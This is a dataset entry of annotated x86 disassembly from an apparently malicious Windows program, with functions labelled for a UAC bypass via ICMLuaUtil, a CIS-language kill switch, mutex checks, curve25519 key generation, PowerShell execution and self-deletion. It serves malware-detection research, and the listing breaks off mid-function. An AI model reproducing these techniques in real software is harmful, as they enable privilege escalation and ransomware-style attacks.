joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402840
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
mov edi, edx
mov esi, ecx
mov eax, 0xaaaaaaab
lea ecx, [edi + 2]
mul ecx
shr edx, 1
lea eax, [edx*4 + 1]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, eax
mov dword [ebp - 0x10], ecx
test ecx, ecx
je 0x40294a
mov dword [ebp - 0xc], ecx
push ebx
mov ebx, ecx
test edi, edi
je 0x402939
lea eax, [ebp - 4]
sub eax, esi
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
xor edx, edx
lea ecx, [edx + 3]
nop word [eax + eax]
test edi, edi
je 0x4028aa
mov al, byte [esi]
dec edi
inc edx
jmp 0x4028ac
xor al, al
mov byte [ebx + esi], al
inc esi
sub ecx, 1
jne 0x4028a0
movzx ecx, byte [ebp - 4]
mov ebx, dword [ebp - 0xc]
mov eax, ecx
sub dword [ebp - 8], 3
and ecx, 3
shr eax, 2
shl ecx, 4
movzx eax, byte [eax + 0x401040]
mov byte [ebx], al
movzx eax, byte [ebp - 3]
mov dword [ebp - 0xc], eax
shr eax, 4
or eax, ecx
movzx eax, byte [eax + 0x401040]
mov byte [ebx + 1], al
cmp edx, 1
jbe 0x40291f
mov ecx, dword [ebp - 0xc]
movzx eax, byte [ebp - 2]
and ecx, 0xf
shr eax, 6
shl ecx, 2
or eax, ecx
movzx eax, byte [eax + 0x401040]
mov byte [ebx + 2], al
cmp edx, 2
jbe 0x402923
movzx eax, byte [ebp - 2]
and eax, 0x3f
mov al, byte [eax + 0x401040]
jmp 0x402925
mov byte [ebx + 2], 0x3d
mov al, 0x3d
mov byte [ebx + 3], al
add ebx, 4
mov dword [ebp - 0xc], ebx
test edi, edi
jne 0x402892
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp + 8]
mov byte [ebx], 0
test eax, eax
je 0x402947
sub ebx, ecx
mov dword [eax], ebx
mov eax, ecx
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x405510
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push esi
push edi
mov edi, ecx
test edx, edx
je 0x405530
xor esi, esi
mov al, byte [esi + edx]
mov byte [ebp + esi - 0x24], al
inc esi
cmp esi, 0x20
jb 0x405523
mov al, byte [ebp - 5]
lea ecx, [ebp - 0x164]
mov edx, dword [ebp + 8]
and al, 0x3f
and byte [ebp - 0x24], 0xf8
or al, 0x40
mov byte [ebp - 5], al
call fcn.00403490
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x24]
push eax
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x204]
call fcn.00404520
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x1b4]
call fcn.004047d0
lea eax, [ebp - 0x1b4]
push eax
lea edx, [ebp - 0x204]
lea ecx, [ebp - 0x114]
call fcn.00402a50
add esp, 0xc
lea ecx, [ebp - 0x114]
call fcn.00402f20
lea ecx, [ebp - 0x114]
call fcn.00403000
xor eax, eax
nop word [eax + eax]
mov cl, byte [ebp + eax - 0x114]
mov byte [ebp + eax - 0x7c], cl
inc eax
cmp eax, 0x50
jb 0x4055b0
lea edx, [ebp - 0x7c]
mov ecx, edi
call fcn.00403790
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4057d0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 8], edx
xor esi, esi
mov eax, dword [edi + 0x3c]
mov ebx, dword [eax + edi + 0x78]
mov eax, dword [ebx + edi + 0x20]
add ebx, edi
add eax, edi
mov dword [ebp - 4], eax
mov ecx, dword [ebx + 0x1c]
add ecx, edi
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebx + 0x24]
add ecx, edi
mov dword [ebp - 0xc], ecx
cmp dword [ebx + 0x18], esi
jbe 0x405824
mov eax, dword [eax + esi*4]
add eax, edi
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x40582d
mov eax, dword [ebp - 4]
inc esi
mov edx, dword [ebp - 8]
cmp esi, dword [ebx + 0x18]
jb 0x405807
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
movzx eax, word [eax + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405850
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x480
push ebx
push esi
push edi
push 0
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0xc
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x18], 1
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x1c], 0
push eax
mov esi, edx
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x4058fb
xor eax, eax
nop
mov byte [ebp + eax - 0x7c], 0
inc eax
cmp eax, 0x44
jb 0x405890
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
xor eax, eax
mov dword [ebp - 0x7c], 0x44
mov dword [ebp - 0x50], 0x101
mov word [ebp - 0x4c], ax
nop dword [eax + eax]
mov byte [ebp + eax - 0x30], 0
inc eax
cmp eax, 0x10
jb 0x4058c0
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x7c]
push eax
push 0
push 0
push 0x10
push 1
push 0
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x405904
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x14]
call esi
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0xea60
push dword [ebp - 0x30]
xor edi, edi
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
lea eax, [ebp - 0xc]
mov dword [ebp - 8], ebx
push eax
push ebx
push ebx
push ebx
push dword [ebp - 0x10]
mov dword [ebp - 0xc], ebx
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x405a0a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 0x400
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x405a0a
push 0
cmp eax, 0x400
lea ecx, [ebp - 8]
push ecx
cmova eax, edx
push eax
lea eax, [ebp - 0x47c]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x405a0a
mov eax, dword [ebp - 8]
test eax, eax
je 0x405a0a
inc eax
add eax, ebx
cmp ebx, eax
ja 0x405a0a
push eax
test edi, edi
jne 0x40599a
push 8
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x4059a6
push edi
push 8
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov edi, eax
test edi, edi
je 0x4059da
mov edx, dword [ebp - 8]
lea esi, [ebx + edi]
test esi, esi
je 0x4059d2
xor eax, eax
test edx, edx
je 0x4059d2
nop dword [eax]
mov cl, byte [ebp + eax - 0x47c]
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jb 0x4059c0
mov edx, dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add ebx, edx
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 8], 0
push eax
push 0
push 0
push 0
push dword [ebp - 0x10]
mov dword [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov edx, 0x400
test eax, eax
jne 0x405940
push dword [ebp - 0x2c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x30]
call esi
test edi, edi
je 0x405a22
mov byte [ebx + edi], 0
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406670
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
xor eax, eax
push esi
mov esi, edx
nop dword [eax + eax]
mov byte [ebp + eax - 0x44], 0
inc eax
cmp eax, 0x3c
jb 0x406680
mov dword [ebp - 0x44], 0x3c
xor eax, eax
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x14], 1
mov dword [ebp - 0xc], 1
nop dword [eax]
mov byte [eax + esi], 0
inc eax
cmp eax, 0x10
jb 0x4066b0
xor eax, eax
test ecx, ecx
je 0x4066cd
cmp word [ecx], ax
je 0x4066cd
inc eax
cmp word [ecx + eax*2], 0
jne 0x4066c5
lea edx, [ebp - 0x44]
push edx
push 0
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetCrackUrlW]
test eax, eax
je 0x40681d
mov eax, dword [ebp - 0x30]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea eax, [eax*2 + 2]
push eax
push 8
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, eax
mov dword [esi], edx
test edx, edx
je 0x40681c
push edi
mov edi, dword [ebp - 0x34]
test edi, edi
je 0x40673a
mov eax, dword [ebp - 0x30]
xor ecx, ecx
lea ebx, [eax + eax]
test ebx, ebx
je 0x40672e
mov al, byte [ecx + edi]
mov byte [ecx + edx], al
inc ecx
cmp ecx, ebx
jb 0x406720
mov eax, dword [ebp - 0x30]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor ecx, ecx
mov word [edx + eax*2], cx
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x406758
mov eax, dword [ebp - 0x18]
cmp word [eax], 0x2f
jne 0x406758
dec ecx
add eax, 2
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], eax
test ecx, ecx
jne 0x406744
mov eax, dword [ebp - 0xc]
inc eax
add eax, ecx
add eax, eax
mov dword [ebp - 8], eax
add eax, 2
push eax
push 8
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, eax
mov dword [ebp - 4], ecx
mov dword [esi + 4], ecx
test ecx, ecx
je 0x4067e7
mov eax, 0x2f
mov word [ecx], ax
mov edx, dword [ebp - 0x18]
test edx, edx
je 0x4067ae
mov eax, dword [ebp - 0x14]
lea ebx, [ecx + 2]
lea edi, [eax + eax]
test ebx, ebx
je 0x4067ae
xor ecx, ecx
test edi, edi
je 0x4067ab
mov al, byte [ecx + edx]
mov byte [ecx + ebx], al
inc ecx
cmp ecx, edi
jb 0x4067a0
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x10]
test edx, edx
je 0x4067db
mov ebx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
inc ebx
lea ebx, [ecx + ebx*2]
lea edi, [eax + eax]
test ebx, ebx
je 0x4067db
xor ecx, ecx
test edi, edi
je 0x4067db
nop dword [eax]
mov al, byte [ecx + edx]
mov byte [ecx + ebx], al
inc ecx
cmp ecx, edi
jb 0x4067d0
mov eax, dword [ebp - 4]
xor edx, edx
mov ecx, dword [ebp - 8]
mov word [ecx + eax], dx
mov eax, dword [ebp - 0x14]
inc eax
mov dword [esi + 8], eax
mov ax, word [ebp - 0x2c]
mov word [esi + 0xc], ax
mov eax, dword [ebp - 0x38]
pop edi
sub eax, 3
je 0x406818
sub eax, 1
je 0x40680e
pop ebx
mov byte [esi + 0xe], 0
pop esi
mov esp, ebp
pop ebp
ret
pop ebx
mov byte [esi + 0xe], 2
pop esi
mov esp, ebp
pop ebp
ret
mov byte [esi + 0xe], 1
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4071a0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
mov dword [ebp - 0x10], ecx
push esi
push edi
lea edi, [ebx + 1]
mov dword [ebp - 4], reloc.OLEAUT32.dll_SysReAllocString
lea eax, [ebp - 4]
xor esi, esi
push eax
push edi
push esi
push 0x401520
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40722f
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0xc]
push eax
push esi
push 0x401508
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x407226
mov eax, dword [ebp - 8]
add eax, 2
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x407226
lea eax, [ebp - 8]
push eax
push esi
push 0
push 0
push 0x401508
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebx, dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x407246
test edi, 0x100
jne 0x40726e
or edi, 0x100
jmp 0x4071b1
test ebx, ebx
je 0x40726e
test bl, 1
jne 0x40726e
mov eax, dword [ebp - 0xc]
cmp eax, 1
je 0x40725c
cmp eax, 2
jne 0x40726e
shr ebx, 1
cmp word [esi + ebx*2 - 2], 0
je 0x40726e
xor eax, eax
mov word [esi + ebx*2], ax
jmp 0x407274
xor eax, eax
test esi, esi
je 0x407297
cmp word [esi], 0
je 0x407297
nop word [eax + eax]
inc eax
cmp word [esi + eax*2], 0
jne 0x407280
cmp eax, 0x3c
jbe 0x407297
xor eax, eax
xor edx, edx
mov word [esi + 0x78], ax
jmp 0x40729d
xor edx, edx
test esi, esi
je 0x4072ab
cmp word [esi], 0
je 0x4072ab
inc edx
cmp word [esi + edx*2], 0
jne 0x4072a3
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x4072cb
test esi, esi
je 0x4072cb
lea edi, [edx + edx]
xor ecx, ecx
test edi, edi
je 0x4072cb
nop
mov al, byte [ecx + esi]
mov byte [ecx + ebx], al
inc ecx
cmp ecx, edi
jb 0x4072c0
pop edi
xor eax, eax
mov word [ebx + edx*2], ax
mov al, 1
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4072e0
Capabilities:
Bypass uac via icmluautil
Get common file path
Get session user name
Query environment variable
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1270
call fcn.00409750
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0xc68]
push 0x104
push eax
push 0x401560
call edi
push 0x104
lea eax, [ebp - 0x240]
push eax
push 0x401574
call edi
lea eax, [ebp - 0x240]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x40733f
push 0x104
lea eax, [ebp - 0x240]
push eax
push 0x401594
call edi
push 0x104
lea eax, [ebp - 0x1270]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
test eax, eax
jne 0x40735b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [sym.imp.SHLWAPI.dll_wnsprintfW]
lea eax, [ebp - 0x858]
push 0x40a0cc
push 0x4015b4
push 0x104
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x448]
push 0x104
push eax
lea eax, [ebp - 0x858]
push eax
call edi
lea eax, [ebp - 0x448]
push eax
push 0x4015e4
lea eax, [ebp - 0x1068]
push 0x200
push eax
call esi
add esp, 4
lea edx, [ebp - 0x1068]
call fcn.00406d50
add esp, 0xc
lea eax, [ebp - 0x448]
push 6
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x401a70
lea eax, [ebp - 0x1068]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0xc]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x650]
mov dword [ebp - 0xc], 0x101
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp - 4]
push eax
push 1
lea eax, [ebp - 0x650]
push eax
push 0
call dword [sym.imp.NETAPI32.dll_NetUserGetInfo]
test eax, eax
jne 0x4074f1
mov eax, dword [ebp - 4]
push eax
mov esi, dword [eax + 0xc]
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
cmp esi, 2
jne 0x4074f1
call fcn.004094b0
push esi
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0x402408
mov dword [ebp - 0x10], eax
mov edi, 0x80004005
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x40
jg 0x4074b3
mov ecx, 0x24
lea eax, [ebp - 0x34]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x407464
push 0x402408
lea eax, [ebp - 0xa60]
mov dword [ebp - 0x34], 0x24
push 0x4023c8
push eax
mov dword [ebp - 0x20], 4
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 8]
push eax
push 0x402508
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0xa60]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
mov edi, eax
mov esi, dword [ebp - 8]
test edi, edi
jne 0x4074d9
test esi, esi
je 0x4074e5
mov eax, dword [esi]
lea ecx, [ebp - 0x1068]
push edi
push edi
push edi
mov eax, dword [eax + 0x24]
push ecx
lea ecx, [ebp - 0xc68]
push ecx
push esi
call eax
jmp 0x4074dd
test esi, esi
je 0x4074e5
mov eax, dword [esi]
push esi
mov eax, dword [eax + 8]
call eax
cmp dword [ebp - 0x10], 0
jne 0x4074f1
call dword [sym.imp.ole32.dll_CoUninitialize]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x407500
Capabilities:
Delete file
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
lea eax, [ebp - 0x410]
push 0x40a0cc
push 0x4015b4
push 0x104
push eax
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x10
lea eax, [ebp - 0x208]
push 0x104
push eax
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call fcn.00406c60
lea ecx, [ebp - 0x208]
call fcn.004096f0
test al, al
je 0x407562
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x407710
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xdc
push ebx
push esi
push edi
mov ebx, edx
mov edi, ecx
xor esi, esi
mov al, byte [esi + 0x40a0ac]
mov byte [ebp + esi - 0xd8], al
inc esi
cmp esi, 0x20
jb 0x407722
test edi, edi
je 0x407750
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ecx + edi]
mov byte [ebp + ecx - 0xb8], al
inc ecx
cmp ecx, 0x10
jb 0x407740
xor ecx, ecx
mov dword [ebp - 0x60], 0x67452301
mov dword [ebp - 0x5c], 0xefcdab89
xor esi, esi
mov dword [ebp - 0x58], 0x98badcfe
mov dword [ebp - 0x54], 0x10325476
mov dword [ebp - 0x68], 0x30
mov dword [ebp - 0x64], ecx
nop word [eax + eax]
mov al, byte [ebp + esi - 0xd8]
mov byte [ebp + ecx - 0x50], al
inc ecx
test cl, 0x3f
jne 0x4077d5
xor eax, eax
movzx edx, byte [ebp + eax - 0x4d]
movzx ecx, byte [ebp + eax - 0x4e]
shl edx, 8
or edx, ecx
movzx ecx, byte [ebp + eax - 0x4f]
shl edx, 8
or edx, ecx
movzx ecx, byte [ebp + eax - 0x50]
shl edx, 8
or edx, ecx
mov dword [ebp + eax - 0xa8], edx
add eax, 4
cmp eax, 0x40
jb 0x407793
lea edx, [ebp - 0xa8]
lea ecx, [ebp - 0x60]
call fcn.00405660
xor ecx, ecx
inc esi
cmp esi, 0x30
jb 0x407780
mov ecx, dword [ebp - 0x68]
mov eax, 0x78
and ecx, 0x3f
mov esi, 0x38
sub eax, ecx
sub esi, ecx
cmp ecx, 0x38
mov edx, 0x40a020
lea ecx, [ebp - 0x68]
cmovae esi, eax
push esi
call fcn.004055e0
mov edi, dword [ebp - 0x68]
add esp, 4
sub edi, esi
mov esi, dword [ebp - 0x64]
mov dword [ebp - 0x68], edi
sbb esi, 0
xor edx, edx
mov dword [ebp - 0x64], esi
nop dword [eax]
movzx ecx, byte [ebp + edx - 0x4d]
movzx eax, byte [ebp + edx - 0x4e]
shl ecx, 8
or ecx, eax
movzx eax, byte [ebp + edx - 0x4f]
shl ecx, 8
or ecx, eax
movzx eax, byte [ebp + edx - 0x50]
shl ecx, 8
or ecx, eax
mov dword [ebp + edx - 0xa8], ecx
add edx, 4
cmp edx, 0x38
jb 0x407820
lea eax, [edi*8]
shld esi, edi, 3
lea edx, [ebp - 0xa8]
mov dword [ebp - 0x70], eax
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x6c], esi
call fcn.00405660
movzx eax, byte [ebp - 0x60]
mov ecx, dword [ebp - 0x60]
mov byte [ebp - 0x10], al
mov eax, ecx
shr eax, 8
mov byte [ebp - 0xf], al
mov eax, ecx
shr eax, 0x10
mov byte [ebp - 0xe], al
movzx eax, byte [ebp - 0x5c]
mov byte [ebp - 0xc], al
shr ecx, 0x18
mov byte [ebp - 0xd], cl
mov ecx, dword [ebp - 0x5c]
mov eax, ecx
shr eax, 8
mov byte [ebp - 0xb], al
mov eax, ecx
shr eax, 0x10
mov byte [ebp - 0xa], al
movzx eax, byte [ebp - 0x58]
shr ecx, 0x18
mov byte [ebp - 8], al
mov byte [ebp - 9], cl
mov ecx, dword [ebp - 0x58]
mov eax, ecx
shr eax, 8
mov byte [ebp - 7], al
mov eax, ecx
shr eax, 0x10
mov byte [ebp - 6], al
movzx eax, byte [ebp - 0x54]
shr ecx, 0x18
mov byte [ebp - 4], al
mov byte [ebp - 5], cl
mov ecx, dword [ebp - 0x54]
mov eax, ecx
shr eax, 8
mov byte [ebp - 3], al
mov eax, ecx
shr eax, 0x10
shr ecx, 0x18
mov byte [ebp - 2], al
mov byte [ebp - 1], cl
test ebx, ebx
je 0x407904
xor ecx, ecx
mov al, byte [ebp + ecx - 0x10]
mov byte [ecx + ebx], al
inc ecx
cmp ecx, 0x10
jb 0x4078f7
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408710
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create new key via cryptacquirecontext
Get disk information
Initialize winsock library
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4b0
push 0x40a088
mov dword [0x40a4fc], 0
mov dword [0x40a0a0], 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea ecx, [ebp - 0x98]
call fcn.004071a0
push 0
push 0
push 0
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 0
push 0
push 0x401500
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
imul ecx, dword [ebp - 4], 0x129b90
push 0x80
mov dword [ebp - 0xc], 0xf3f3f3f3
mov dword [ebp - 8], 0xf3f3f3f3
mov dword [ebp - 4], 0x94f460f3
lea eax, [ecx - 0x48bd]
mov word [ebp - 0xe], ax
imul eax, ecx, 0x129b90
add eax, 0x67075df3
mov dword [ebp - 0x14], eax
imul eax, eax, 0x129b90
add eax, 0x3b4b743
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.ole32.dll_StringFromGUID2]
lea eax, [ebp - 0x98]
push eax
push 0x401d10
push 0x40a0cc
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x40a4f8], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4088f1
call fcn.004026a0
xor edx, edx
mov ecx, 0x1f
div ecx
mov eax, 0x258
add edx, 0x3c
cmp edx, eax
cmova edx, eax
lea eax, [ebp - 0x4b0]
push eax
push 0x202
mov dword [0x40a0a8], edx
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0xf0000000
push 0x18
push 0x4010dc
push 0
push 0x40a4f4
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x40886f
push 0xf0000008
push 0x18
push 0x4010dc
push eax
push 0x40a4f4
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x4088f1
xor eax, eax
lea eax, [eax + 1]
lea edx, [eax + eax]
cmp word [edx + 0x401d14], 0
jne 0x408871
xor ecx, ecx
test edx, edx
je 0x4088a1
nop word [eax + eax]
mov al, byte [ecx + 0x401d14]
mov byte [ecx + 0x40a10c], al
inc ecx
cmp ecx, edx
jb 0x408890
xor eax, eax
push eax
push eax
mov word [edx + 0x40a10c], ax
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0x104
lea eax, [ebp - 0x320]
push eax
push 0x401d4c
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0
push 0x4000080
push 2
push 0
push 0
push 0x10000000
lea eax, [ebp - 0x320]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x40a0a4], eax
mov esp, ebp
pop ebp
ret
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x408900
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Query environment variable
Run powershell expression

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb00
lea eax, [ebp - 0x510]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0x104
push eax
push 0x401d70
call esi
push 0x104
lea eax, [ebp - 0x308]
push eax
push 0x401de0
call esi
push 0x104
lea eax, [ebp - 0x718]
push eax
push 0x401560
call esi
xor eax, eax
nop dword [eax + eax]
mov byte [ebp + eax - 0x100], 0
inc eax
cmp eax, 0x100
jb 0x408950
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea eax, [ebp - 0x308]
push eax
call esi
cmp eax, 0xffffffff
je 0x40897f
test al, 0x10
jne 0x40897f
push 0x401e50
jmp 0x408996
lea eax, [ebp - 0x510]
push eax
call esi
cmp eax, 0xffffffff
je 0x4089a3
test al, 0x10
jne 0x4089a3
push 0x401e60
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x100]
push eax
push 0x401e70
push 0x401eb0
lea eax, [ebp - 0xb00]
push 0x1f4
push eax
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x14
lea eax, [ebp - 0xb00]
push 0
push 0
push eax
lea eax, [ebp - 0x718]
push eax
push 0x401cd4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x409250
Capabilities:
Get common file path
Identify system language via api
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
movzx eax, ax
mov ecx, 0x419
cmp ax, cx
je 0x4092fc
mov ecx, 0x42b
cmp ax, cx
je 0x4092fc
mov ecx, 0x82c
cmp ax, cx
je 0x4092fc
mov ecx, 0x42c
cmp ax, cx
je 0x4092fc
mov ecx, 0x423
cmp ax, cx
je 0x4092fc
mov ecx, 0x43f
cmp ax, cx
je 0x4092fc
mov ecx, 0x428
cmp ax, cx
je 0x4092fc
mov ecx, 0x442
cmp ax, cx
je 0x4092fc
mov ecx, 0x843
cmp ax, cx
je 0x4092fc
mov ecx, 0x443
cmp ax, cx
je 0x4092fc
mov ecx, 0x422
cmp ax, cx
je 0x4092fc
call fcn.004089f0
test al, al
jne 0x4092fc
call fcn.00408710
call fcn.004072e0
call fcn.004093b0
call fcn.00407920
call fcn.00408900
jmp fcn.00408120
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4093b0
Capabilities:
Encrypt data using curve25519
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
push ebx
push esi
push edi
lea eax, [ebp - 0x48]
push eax
push 0x20
push dword [0x40a4f4]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov al, byte [ebp - 0x29]
lea edx, [ebp - 0x48]
and byte [ebp - 0x48], 0xf8
lea ecx, [ebp - 0x28]
and al, 0x3f
or al, 0x40
push 0x401114
mov byte [ebp - 0x29], al
call fcn.00405510
add esp, 4
lea edx, [ebp - 0x48]
mov ecx, 0x40a0ac
push section..data
call fcn.00405510
add esp, 4
mov edx, 0x20
mov ecx, 0x40a0ac
push 0
call fcn.00402840
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
add esp, 4
test eax, eax
je 0x40942e
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call ebx
push 0
mov edx, 0x20
lea ecx, [ebp - 0x28]
call fcn.00402840
mov edi, eax
add esp, 4
test edi, edi
je 0x4094a5
push edi
push 0x401bd8
push 0x40a0cc
push 0x65
lea eax, [ebp - 0x248]
push 0x4023bc
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
mov dword [ebp - 4], 0
